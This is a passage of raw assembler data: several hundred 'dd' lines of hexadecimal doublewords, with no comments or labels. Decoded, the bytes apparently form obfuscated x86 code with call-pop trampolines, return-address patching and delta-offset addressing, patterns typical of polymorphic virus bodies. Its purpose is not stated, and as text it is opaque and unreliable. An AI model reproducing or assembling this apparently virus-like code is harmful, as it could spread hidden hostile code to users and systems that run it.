		dd 8D000000h, 8AF9B9Dh,	5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 958B1CD3h
		dd 606295Dh, 3339BD0Bh,	9D290606h, 6060E51h, 13118589h
		dd 0C08B0606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0AAC35747h, 0C680D36Fh,	8BBDB5B7h, 0C99529C0h
		dd 83060625h, 630D1BDh,	9750006h, 4B5BD83h, 74000606h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 608AFCEh, 585BD3FFh, 89A4B660h
		dd 630E195h, 7E86106h, 34000000h, 79C69D38h, 5F538A17h
		dd 60C08B5Fh, 0E5852BF8h, 61060619h, 0C08BF98Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 0AE8h
		dd 4A2F3A00h, 4138D80Bh, 89804BABh, 62DD99Dh, 0BD295F06h
		dd 6062525h, 30D1BD83h,	75000606h, 0B5BD8309h, 60604h
		dd 53501974h, 0D0B8C08Bh, 89000007h, 62C5185h, 619D8D06h
		dd 0FF0608B2h, 83585BD3h, 604B5BDh, 17740006h, 0D0B85350h
		dd 89000007h, 62C5185h,	509D8D06h, 0FF0608AFh, 0BF585BD3h
		dd 6410BAD2h, 56006AF5h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 7768E386h, 2D0D8589h, 0C08B0606h
		dd 28C0F60h, 8B000000h,	85C661DEh, 60601C1h, 0D58D8B53h
		dd 6806061Dh, 99395F90h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 19h, 58C35747h, 0B93FB571h, 1DB5FFC6h, 0F060632h
		dd 18Eh, 858DF900h, 60639F5h, 28F99509h, 0D0FF0606h, 618D0352h
		dd 5A060603h, 1FE98D03h, 85890606h, 6060791h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 14C35242h, 90990DAAh
		dd 0C8A7364Ah, 8D8B532Eh, 6060251h, 0C185C65Fh,	57060601h
		dd 6683CB6h, 0B5900452h, 0BD9D8938h, 0FF060620h, 6321DB5h
		dd 449FB906h, 858D6FFEh, 60639F5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 3CC35141h, 0EB1B2913h, 272DCC52h
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 63D86CC3h, 9286BCA4h, 89EBE2A0h, 610EDB5h
		dd 0FD858906h, 8B060612h, 0C185C6FEh, 43060601h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 46C35343h, 667E96D6h
		dd 2868D78Bh, 89BC9070h, 6253D85h, 6880F06h, 8B000000h
		dd 6205D8Dh, 1DB5FF06h,	81060632h, 8E8563E2h, 0F5858D59h
		dd 66060639h, 0D0FFCE8Bh, 0E891D6B9h, 3D85896Eh, 8B06061Ah
		dd 61F098Dh, 0C185C606h, 4C060601h, 0BB9B589h, 0E9680606h
		dd 6AD9DA1Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F5B7C352h, 5E9h, 28D4D400h, 0B5FF7317h
		dd 606321Dh, 0BD8B6060h, 6061BB9h, 12C1858Bh, 0F610606h
		dd 386h, 0DBBF0F00h, 0F5858D61h, 0E8060639h, 0Ch, 0CC942126h
		dd 5FD18C2Fh, 0A13838A9h, 0ABF28166h, 0D0FF5AAFh, 15159D89h
		dd 85890606h, 60612B1h,	2D718D8Bh, 85C60606h, 60601C1h
		dd 51006A46h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0E22E1A16h, 0B38B64F9h, 6146848h, 8057BADEh
		dd 0FF5927D1h, 6321DB5h, 67F78106h, 8D260477h, 639F585h
		dd 0D1958906h, 0FF06062Bh, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8C0F74E1h
		dd 2, 8589CA8Bh, 6062C6Dh, 0C185C6F5h, 47060601h, 2DA5BD01h
		dd 0B70F0606h, 0B5E268FEh, 0FFF88A0Fh, 6321DB5h, 0D6B70F06h
		dd 28E0Fh, 0D38B0000h, 39F5858Dh, 870F0606h, 0Ah, 5E9h
		dd 0ED0D3600h, 0D0FF2548h, 2BD18D29h, 85890606h, 6062BCDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 28C35040h
		dd 101CA3A9h, 8589D824h, 6062B69h, 1C185C6h, 6A470606h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2E0AC351h, 0B5F36852h, 6A83D0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 1A4416C3h
		dd 97416CE4h, 8166BF73h, 0FF4DD5EAh, 6321DB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 45B5DFFh, 0A051A936h, 8D8B6A2Bh, 60620B5h, 8B662AB5h
		dd 0F5858DFAh, 0F060639h, 48Dh,	2EBA6600h, 8BD0FF64h, 611E18Dh
		dd 0D9858906h, 5006062Fh, 1C15BD8Bh, 0C65A0606h, 601C185h
		dd 6A7706h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 3396F7C3h, 601DD95h, 65BD8B06h, 6806062Ch
		dd 0F397A8A3h, 8166D08Bh, 0FFC172CFh, 6154DB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 858DE35Eh, 60639F5h,	0FB25BF66h, 1351BD8Bh, 0D0FF0606h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0EDC35545h
		dd 9B03F0F2h, 63739BDBh, 0F9BF0FD1h, 3AAABF66h,	89ACF180h
		dd 6338985h, 9DA8106h, 0C6241336h, 601C185h, 8B664706h
		dd 0FAF668D7h, 6A8728h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 2CF14FC3h, 27793654h, 0A98D2BE4h
		dd 3106061Ah, 622F18Dh,	1DB5FF06h, 0E9060632h, 7, 19DBC189h
		dd 8DE2D934h, 639F585h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD8BF075h, 60622FDh
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0E9969BC3h, 8E8E7EAh, 81000000h, 0E0FFA065h
		dd 0FC3A2D71h, 0C5858959h, 0F906062Bh, 1C185C6h, 0E9430606h
		dd 0Bh,	0CAC3C38Ah, 24397C15h, 68591A73h, 0BC8E6EFCh, 0FFD7B70Fh
		dd 6321DB5h, 8DCB8B06h,	639F585h, 13E95606h, 73000000h
		dd 3B5FD3C4h, 9BDEE982h, 4616BC14h, 0A04AF3Dh, 805A815Ah
		dd 0D0FF77D1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	21C35141h, 6B14A879h, 0B2DAED97h, 7D858996h, 8B060607h
		dd 614298Dh, 0C185C606h, 45060601h, 0C11858BFh,	4BB96641h
		dd 6969684Eh, 6A8E72h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0B28754C3h, 1DB5FFCAh, 0F060632h
		dd 182h, 858DFC00h, 60639F5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 48C35747h, 9E803CCh, 5A000000h
		dd 10B373EBh, 0BA59B95h, 3870Fh, 0B70F0000h, 0DE959C9h
		dd 3C000000h, 4E8B917Bh, 1F1FBFCDh, 0F85BB1BFh,	0AE9D0FFh
		dd 0C8000000h, 0AFBC1B3Ch, 0C4690AADh, 95858961h, 66060603h
		dd 0C6638DBAh, 601C185h, 0BF0F4406h, 0EC6468CEh, 0BF66B8F2h
		dd 0BD8B5F9Fh, 6062941h, 321DB5FFh, 8D8B0606h, 6062F99h
		dd 39F5858Dh, 0D0FF0606h, 31158D8Bh, 0BD8B0606h, 606265Dh
		dd 0EAD8589h, 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0C6199BC3h, 601C185h, 6A4306h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 52E3D0C3h, 4B18DED4h, 1D8D0F7Fh, 0E8000000h,	14h, 0B29091DEh
		dd 51AC7EDh, 93AC5D16h,	1DA093EFh, 7D2298EDh, 59CCE680h
		dd 764AA768h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0F0A9071Fh, 12E8h, 4BC67F00h, 0E408279Dh
		dd 0F3DB339Ah, 645D5E71h, 99A85AFh, 60E9DB5h, 50605A06h
		dd 0E5CB8166h, 0B5295FEDh, 606303Dh, 1DB5FF61h,	8B060632h
		dd 62C15BDh, 0F5858D06h, 89060639h, 611059Dh, 89D0FF06h
		dd 6207DB5h, 0FFBF0F06h, 2B198589h, 80F90606h, 8FF67BDh
		dd 840F0006h, 0D9h, 2FF98D89h, 858D0606h, 608FF49h, 2717BF66h
		dd 0BE9h, 0BD924500h, 7BED3E55h, 91F47700h, 93B66050h
		dd 69958Bh, 6A610606h, 35958B01h, 6A060631h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0FB874C1h, 9D8D8B54h, 29060621h, 62D058Dh, 89006A06h
		dd 6152595h, 66C98106h,	0FF5AF2FDh, 61A3D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 6B1A9559h, 0E25A756Dh, 27598589h, 0B9660606h, 0FF6AD1F6h
		dd 6850Fh, 0BD8B0000h, 6061FF5h, 2759B5FFh, 6E90606h, 0C2000000h
		dd 553BE85Eh, 0FD95FFECh, 0E9060612h, 0Dh, 616FE882h, 0F4C86DE4h
		dd 0EE70D60h, 6AC08B5Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7F4BC353h, 89B1F294h
		dd 6271185h, 0D1BD8306h, 60630h, 0BD830975h, 60604B5h
		dd 50197400h, 0B8C08B53h, 7D1h,	2C518589h, 9D8D0606h, 608B261h
		dd 585BD3FFh, 4B5BD83h,	74000606h, 0B8535017h, 7D1h, 2C518589h
		dd 9D8D0606h, 608AF50h,	585BD3FFh, 68B0Fh, 8D8B0000h, 6060169h
		dd 68F0Fh, 0D9810000h, 7D95C8DDh, 9958B60h, 31060615h
		dd 61EF5BDh, 0C08B6106h, 12D18D8Bh, 85C60606h, 60601C1h
		dd 38F0F47h, 66000000h,	0C168FA8Bh, 0E993C8F7h,	0Bh, 7E98C993h
		dd 2F0F9912h, 0FF486A09h, 6321DB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C5C48D54h
		dd 8A0FB4AAh, 6, 781B529h, 0B9660606h, 858D7510h, 60639F5h
		dd 0BFD0FFF9h, 22E59FF7h, 57006A50h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0FFCE283h
		dd 8DD48A68h, 9038A85h,	199D8906h, 0C7060624h, 9400h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 62714FF3h, 9D898D03h, 60601B5h, 0B58DF558h, 609038Ah
		dd 0CABF0F52h, 8D895659h, 60603A1h, 1B91B589h, 0D0FF0606h
		dd 38A858Dh, 89600609h,	61D218Dh, 3BE88106h, 6144DA63h
		dd 0DCE5B966h, 6047883h, 30850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0CE4EBAC3h
		dd 41E85C7h, 10609h, 9AB10000h,	8F0Fh, 0BD830000h, 6062AC1h
		dd 6C850F00h, 66000000h, 3E3FD981h, 41EBD83h, 0F000609h
		dd 5A85h, 21BD0100h, 83060634h,	60031BDh, 840F0006h, 47h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2BC35040h
		dd 0B536E8B3h, 0C79A0FDEh, 626B985h, 6,	0E9F3B500h, 13h
		dd 1E57128h, 60AAC9A5h,	0F07685A3h, 417EB947h, 6639A5B1h
		dd 0DE80DB8Ch, 4C3F679h, 596840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 5192D1C3h
		dd 0F1723DBBh, 6C98019h, 1D3D85C7h, 606h, 8D8B0000h, 60628C1h
		dd 0FF74BD80h, 0F000608h, 0C85h, 6830F00h, 89000000h, 615DD9Dh
		dd 0C185C606h, 47060601h, 17758D0Bh, 86680606h,	29E3E45Bh
		dd 6179D9Dh, 9B58906h, 0FF060613h, 6321DB5h, 8DFE8B06h
		dd 639F585h, 45BD8B06h,	0FF06062Bh, 14890FD0h, 0E9000000h
		dd 0Fh,	7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h, 6826971Eh, 104h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A6C35141h
		dd 546308BCh, 32319D8Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 8D7D7DC3h, 753F2153h
		dd 0F596E4B4h, 0BE9h, 0E69B8000h, 5A3BD7AAh, 106B7FA8h
		dd 57006A53h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FD0FF9Ch, 280h,	8DCE8B00h, 6323185h, 0C5B53106h
		dd 50060624h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	0AC35343h, 59B58951h, 8D06061Ch, 8FF2685h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 14CAC07Eh, 89B81DCDh, 61C159Dh, 81BA5006h, 8D6C7881h
		dd 8F5F985h, 68B0F06h, 29000000h, 6218DBDh, 95FF5006h
		dd 6063389h, 18ABB956h,	835914C1h, 6A0CC4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C6AEC9C3h
		dd 93BCBFB4h, 606E3DFFh, 13299D09h, 840F0606h, 6, 8A0Fh
		dd 6A610000h, 806800h, 36A0000h, 6A006Ah, 68h, 0F9858D80h
		dd 500608F5h, 77D95FFh,	85890606h, 608FF09h, 1C185C6h
		dd 68470606h, 0C7B15E87h, 321DB5FFh, 858D0606h,	60639F5h
		dd 6AD0FFh, 0FF09B5FFh,	0D0FF0608h, 10E9h, 7D24D300h, 5E7589EEh
		dd 90532639h, 0D3738BA4h, 37D03D9Ch, 830F0000h,	67h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 18C35141h, 0EB9D67C9h
		dd 0D7F44D8Ch, 12A18589h, 0B5FF0606h, 608FF09h,	2B1995FFh
		dd 0B5290606h, 60607C5h, 0B4E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 52F57A2Ah
		dd 499533E6h, 0FF06062Dh, 8FF09B5h, 0BD8B6006h,	6061D61h
		dd 61F28B66h, 0CA815350h, 7644A0F9h, 95FF5F59h,	6062B19h
		dd 1D7D958Bh, 6A0606h, 6AD3C980h, 0F8BF0F00h, 6AF5D980h
		dd 21BD0900h, 6A06062Dh, 958B5300h, 6060F41h, 0F006A59h
		dd 68Bh, 18D8B00h, 6A060624h, 0EF816600h, 858D218Eh, 608FF0Dh
		dd 6870Fh, 0F2810000h, 209CD59Bh, 0D78B6650h, 95FF5EB5h
		dd 606077Dh, 2FCDB529h,	0F8830606h, 850FFFh, 81000001h
		dd 0BE6FA0E7h, 0DD858D05h, 8B0608B5h, 60205BDh,	8BD0FF06h
		dd 62C39BDh, 81006A06h,	0A358C6F1h, 0F9006A33h,	8D8B006Ah
		dd 60614D9h, 271D8589h,	6A0606h, 40F3B966h, 8D8B006Ah
		dd 60621A5h, 6A46B1h, 14E860h, 0C0190000h, 3183679Fh, 7D7190E6h
		dd 0C6F43619h
		dd 0BDBEB22h, 0C88122EBh, 16FE4A39h, 5D858B5Eh,	61060629h
		dd 0FF0D858Dh, 31B90608h, 5015CA16h, 24FDBD89h,	95FF0606h
		dd 606077Dh, 0A5BD31F9h, 83060610h, 850FFFF8h, 6Bh, 0DE9h
		dd 0F4DA1600h, 4D590CAh, 0E8F3A478h, 0BD8B5D76h, 6061C81h
		dd 0F915B58Dh, 8B660608h, 5958BF8h, 8D060631h, 8A49A85h
		dd 0D7B70F06h, 6AD0FFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 664D62C3h, 89BACF8Bh, 6A6BBDF1h
		dd 7DBD8900h, 0FF060611h, 6039595h, 9958B06h, 89060600h
		dd 8FF0985h, 6E906h, 99480000h,	5778ADC5h, 0B589006Ah
		dd 6061F21h, 0FF01858Dh, 6A0608h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 32D924C3h, 17C12D8Eh
		dd 0D59589A2h, 6606060Fh, 0E850D78Bh, 0Ah, 30FCFD48h, 39D4F350h
		dd 0B589690Ch, 6061C81h, 81046A59h, 59FE41F7h, 0FD858D73h
		dd 6A060628h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0D6C357h, 0E6EEB078h, 5958B47h
		dd 50060608h, 60F98B66h, 0CE8h,	8195D600h, 0C7532B07h
		dd 4DA32890h, 0E5958B91h, 5A06062Ch, 61DA8B66h,	9589006Ah
		dd 6060DFDh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0CFC68BC3h, 944CFD58h, 94BF6689h
		dd 0C880FC4h, 0F000000h, 685h, 84CA8100h, 0F0A3794h, 16AD6BFh
		dd 1C01BD8Bh, 810F0606h, 1Bh, 11E8h, 0C4FA4A00h, 0FF88FFB8h
		dd 3F127CD8h, 2F5A203Ch, 0B9667E6Ah, 0FF596E63h, 8FF09B5h
		dd 6810F06h, 89000000h,	62C69B5h, 0AD95FF06h, 6006060Eh
		dd 2799B589h, 0BD8B0606h, 606226Dh, 1982E961h, 0B5310000h
		dd 6062429h, 5EB5C08Bh,	30D1BD83h, 75000606h, 0B5BD8309h
		dd 60604h, 53501974h, 0D2B8C08Bh, 89000007h, 62C5185h
		dd 619D8D06h, 0FF0608B2h, 83585BD3h, 604B5BDh, 17740006h
		dd 0D2B85350h, 89000007h, 62C5185h, 509D8D06h, 0FF0608AFh
		dd 6A585BD3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0A4BC351h, 0DE80A1C7h,	0E9C08B8Fh
		dd 14h,	0E74FB926h, 1AFCDF20h, 7FDC06ACh, 0B089833Fh, 18B6269h
		dd 9E9h, 95842E00h, 0FA63C6E7h,	85C773C3h, 6061D3Dh, 1
		dd 0E7B868FCh, 0B5FFCEE4h, 6060499h, 39F5858Dh,	0D0FF0606h
		dd 8818589h, 0D4680606h, 0FFC005DBh, 60499B5h, 0F5858D06h
		dd 0FF060639h, 598589D0h, 8D060601h, 8F3B285h, 0B5FF5006h
		dd 606321Dh, 2BCD95FFh,	0C00B0606h, 0D88B0B74h,	365858Dh
		dd 0FF500609h, 65858DD3h, 66060903h, 75093883h,	6985C70Ah
		dd 1060631h, 0FF000000h, 62BC595h, 0FF2506h, 0F8830000h
		dd 0C70A7305h, 6026185h, 106h, 60CA8B00h, 12E9h, 72981D00h
		dd 0B2DE2EDEh, 0D86C2DFBh, 86BCA463h, 60E2A092h, 8D0Fh
		dd 0C6800000h, 80616197h, 8FF74BDh, 850F0006h, 16h, 0D7B70F57h
		dd 1816E95Fh, 958B0000h, 6061099h, 25559589h, 0BD830606h
		dd 6063169h, 0AF850F00h, 0F000000h, 683h, 8D8D2900h, 8D060607h
		dd 8FF3E85h, 50FE8B06h,	2AD98D01h, 16A0606h, 11959589h
		dd 0AE80606h, 3000000h,	1909CC8Eh, 6B043E5Ah, 0F57BBFA7h
		dd 6A5F0F91h, 8B006A00h, 3D95FFFBh, 0E806061Ah,	0Ch, 0EC267866h
		dd 0A91BB755h, 5AAA0B8Ch, 1F158589h, 895F0606h,	8FF6885h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F76DB08h, 38Bh,	0CEB70F00h, 0C88BFF6Ah
		dd 0FF68B5FFh, 8D890608h, 60620C1h, 12FD95FFh, 65B90606h
		dd 607EDA50h, 89FE8B66h, 61FED8Dh, 858D6106h, 608F379h
		dd 68A0Fh, 9D890000h, 6062299h,	8800F50h, 0F000000h, 286h
		dd 29616000h, 62D4185h,	0B195FF06h, 0E8060612h,	0Dh, 8B96BDADh
		dd 98D1CF35h, 45E053F6h, 0CE84Ch, 93EE0000h, 74AEC7B1h
		dd 0E971642Fh, 0BE82E23h, 0E1000000h, 0F8FE606Fh, 633784C0h
		dd 595A9735h, 0AFC6805Ah, 0F4038589h, 70BF0608h, 8D63FEBCh
		dd 8F38685h, 89958906h,	50060604h, 6830Fh, 8D2B0000h, 60631B5h
		dd 0F403B5FFh, 8D010608h, 60623DDh, 2BCD95FFh, 0B5890606h
		dd 6062029h, 1E958589h,	0DBF0606h, 8D094DDBh, 8F3F485h
		dd 12E906h, 0B2840000h,	5B56C239h, 0C6B89507h, 0F7A205AEh
		dd 995AB2F7h, 3150CB8Bh, 6168985h, 3B5FF06h, 6A0608F4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0BCA4C356h, 81669286h, 66435FC2h,	0FF757CB9h
		dd 62BCD95h, 39BD8906h,	89060612h, 8F41785h, 99958B06h
		dd 8D06061Eh, 8F3D385h,	0BA666006h, 5061FEE4h, 2239B509h
		dd 8B520606h, 0B5FF59D0h, 608F403h, 31218D23h, 95FF0606h
		dd 6062BCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0FFC35141h, 265E98A9h, 897E623Ah, 8F40F85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 7BBC67F2h, 39E5D911h, 7DBD8993h, 8D060623h, 8F3C685h
		dd 21958B06h, 50060631h, 7E8h, 80014600h, 0FBCED08Ch, 6D61D2B9h
		dd 0B5FF5A51h, 608F403h, 2097C181h, 95FF1D1Ch, 6062BCDh
		dd 13E8h, 0BA912800h, 0C83D4961h, 55FC1024h, 71E9BF07h
		dd 85B6BBF4h, 0AE9h, 3CB7E000h,	0B73D9EF8h, 5A86ADF3h
		dd 0F4138589h, 81660608h, 8D2058C1h, 8F3E185h, 0A1B58906h
		dd 50060624h, 22FCBF66h, 0F403B5FFh, 0EA8A0608h, 2BCD95FFh
		dd 958B0606h, 60615DDh,	10398589h, 6A0606h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0C2E5E8C3h
		dd 2AA6C04Ah, 4AC78166h, 95858D5Dh, 660608F3h, 20CADF81h
		dd 0C0B96650h, 0CE8CBh,	35770000h, 6673B013h, 826B61CCh
		dd 0B589F239h, 6061D2Dh, 3B5FF5Fh, 8B0608F4h, 600B1BDh
		dd 0CD95FF06h, 0F06062Bh, 8589CEB7h, 608F407h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C9C35646h, 8911D1A6h
		dd 6251985h, 0A4858D06h, 500608F3h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0A8C35040h,	0DE506571h, 0CA8B80BCh
		dd 0F403B5FFh, 81660608h, 0FFE307C1h, 62BCD95h,	0DE07B906h
		dd 85891626h, 608F40Bh,	1EAD8589h, 8B660606h, 10468CAh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0D7852AC3h, 698D897Ch, 8D06062Ch,	8F49B85h
		dd 0A5BD3106h, 0F060631h, 583h,	7105BF00h, 0F501C9Fh, 858DD1B7h
		dd 608F59Fh, 8E9h, 39E9B700h, 362AFC8Fh, 0CE8B50C7h, 2FD995FFh
		dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 3B0B0BC3h, 219C496Eh, 13E932h, 0A6E00000h
		dd 37FB4C4Ah, 4F92CF20h, 5D4E1BC6h, 0E4639894h,	0FC08517h
		dd 0C85h, 68F0F00h, 8B000000h, 602598Dh, 74BD8006h, 608FFh
		dd 0F850Fh, 860F0000h, 0
		dd 1383E9h, 89B96600h, 69BD8370h, 60631h, 20850Fh, 0FF80000h
		dd 68Bh, 6D9D0900h, 8306061Eh, 9041EBDh, 840F0006h, 3Bh
		dd 22418D8Bh, 858D0606h, 608F438h, 0BEE8CF81h, 41E90551h
		dd 0B6000013h, 29E99Bh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8D856DC3h, 8F42385h
		dd 31858906h, 50060620h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 56C35242h, 0DACDAB13h, 0F49B858Dh, 95010608h
		dd 606275Dh, 0BBD98166h, 6A503Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 9C471DC3h, 815893C7h
		dd 3169BD83h, 0F000606h, 6284h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0EA7E2040h
		dd 0FB48736h, 83h, 0C1858D00h, 660608F5h, 0E917EDBFh, 45h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0FC35747h
		dd 150E8828h, 0ED806358h, 0CD85016Eh, 8D060630h, 8F5AA85h
		dd 58D0106h, 60060611h,	895958Bh, 0B5230606h, 606012Dh
		dd 8D015061h, 6062105h,	0F5F9858Dh, 0F1810608h,	4CBA8BEBh
		dd 0FF8BB550h, 6338995h, 11B52906h, 83060634h, 0F85110C4h
		dd 0FC08B59h, 0BD83FABFh, 60630D1h, 83097500h, 604B5BDh
		dd 19740006h, 0C08B5350h, 7D3B8h, 51858900h, 8D06062Ch
		dd 8B2619Dh, 5BD3FF06h,	0B5BD8358h, 60604h, 53501774h
		dd 7D3B8h, 51858900h, 8D06062Ch, 8AF509Dh, 5BD3FF06h, 0F1A1BF58h
		dd 0BD8B1B11h, 606249Dh, 10E8C08Bh, 7D000000h, 17FD050Bh
		dd 0DCFBA3EEh, 0E680DBC2h, 0FF47B71h, 383h, 0FB8B6600h
		dd 23BD8159h, 6F0608F4h, 0F616572h, 9B84h, 0AE78100h, 0F25F353h
		dd 68Fh, 0C18D2B00h, 8D06062Bh,	8F49B85h, 858D5006h, 608F5D8h
		dd 0F9858D50h, 500608F5h, 338995FFh, 0C4830606h, 0C185C60Ch
		dd 44060601h, 0A3184F68h, 1DB5FF96h, 8D060632h,	639F585h
		dd 8BD0FF06h, 0F9858DD8h, 500608F5h, 858DD3FFh,	608F423h
		dd 9B858D50h, 500608F4h, 3169BD83h, 74000606h, 0C1858D08h
		dd 0EB0608F5h, 0AA858D06h, 500608F5h, 0F5F9858Dh, 0FF500608h
		dd 6338995h, 10C48306h,	0D2CA8166h, 51BD89DBh, 60060616h
		dd 61FAB70Fh, 2BC595FFh, 0B9660606h, 9589ACADh,	6061CA9h
		dd 0FF25h, 950B5200h, 6060F9Dh,	5F8835Fh, 6E830Fh, 0DE90000h
		dd 3B000000h, 3F909495h, 7EE086AAh, 0F6C85FAAh,	26185C7h
		dd 10606h, 81660000h, 8D1B65C7h, 8F45785h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0DB639D6Fh, 7F642D43h, 6BE9F7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F8E090C3h
		dd 3169BD83h, 0F000606h, 1884h,	0CEEA8000h, 0F482858Dh
		dd 85090608h, 60603C1h,	2CE9h, 59BA6600h, 64858D29h, 600608F4h
		dd 13E9h, 0A9C9C00h, 0B1526E62h, 3075A310h, 0A532E673h
		dd 3D0918FCh, 0ED9D2960h, 61060620h, 97858961h,	660608F4h
		dd 0BD83C88Bh, 6063169h, 3B850F00h, 0E9000000h,	9, 93A8CE3Fh
		dd 0A2D3F9CBh, 0C8BF0FC5h, 41EBD83h, 0F000609h,	2884h
		dd 0CE800h, 483C0000h, 0B1B6DF9Ah, 652B610Ch, 6E950B2h
		dd 68000000h, 0BC7C42E5h, 0ADE9593Eh, 8900000Fh, 61D2D85h
		dd 4B6E906h, 8BF80000h,	0FC08BF9h, 0BD83FAB7h, 60630D1h
		dd 83097500h, 604B5BDh,	19740006h, 0C08B5350h, 7D4B8h
		dd 51858900h, 8D06062Ch, 8B2619Dh, 5BD3FF06h, 0B5BD8358h
		dd 60604h, 53501774h, 7D4B8h, 51858900h, 8D06062Ch, 8AF509Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8026AE69h, 890F62D9h, 3, 8BCABF0Fh
		dd 6884B2C0h, 0F003Fh, 1495BD8Bh, 6A0606h, 0E851006Ah
